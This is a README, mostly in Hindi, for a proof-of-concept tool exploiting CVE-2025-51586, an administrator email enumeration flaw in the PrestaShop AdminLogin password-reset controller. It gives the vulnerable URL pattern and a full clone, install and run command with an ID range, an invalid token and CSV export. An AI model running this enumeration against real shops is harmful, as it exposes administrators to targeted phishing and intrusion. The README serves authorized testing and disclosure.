
PrestaShop AdminLogin Email Enumeration PoC - CVE-2025-51586. This repository provides an ethical Proof-of-Concept (PoC) for the PrestaShop vulnerability allowing user enumeration through the AdminLogin password reset mechanism. It explains the impact, setup, and usage of the PoC script.
इस रिपॉजिटरी में CVE-2025-51586 भेद्यता के लिए एक नैतिक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शामिल है, जो PrestaShop संस्करण 1.7.x — 8.2.2 को प्रभावित करती है।
यह PoC बैक ऑफिस पासवर्ड रीसेट तंत्र (AdminLogin कंट्रोलर) के माध्यम से व्यवस्थापक ईमेल पतों की एन्यूमरेशन करता है।
https://domain.tld/admin/index.php?controller=AdminLogin&reset=1id_employee और एक अमान्य reset_token प्रदान करें<input name="reset_email" value="[email protected]">आधिकारिक एडवाइज़री: Friends of Presta Security
Friends of Presta Security Team द्वारा रिपोर्ट किया गया (एडवाइज़री 4 सितंबर, 2025 को प्रकाशित)।
यह PoC केवल शैक्षिक और अधिकृत परीक्षण के लिए है। इसका उपयोग केवल उन सिस्टम पर करें जिनके आप मालिक हैं या जहाँ आपके पास स्पष्ट अनुमति है। लेखक और योगदानकर्ता दुरुपयोग के लिए जिम्मेदार नहीं हैं।
क्लोन करें और निर्भरताएँ इंस्टॉल करें:
git clone https://github.com/7h30th3r0n3/CVE-2025-51586-PrestaShop-PoC.git
cd CVE-2025-51586-PrestaShop-PoC
pip install requests beautifulsoup4 rich
python3 cve_2025_51586_enum.py \
-u "https://target/admin/index.php?controller=AdminLogin&reset=1" \
-s 1 -e 100 -m POST -t invalidtoken123 --delay 0.5 --timeout 10 --export results.csv
PoC 7h30th3r0n3 द्वारा विकसित किया गया। भेद्यता Friends of Presta Security Team द्वारा खोजी गई।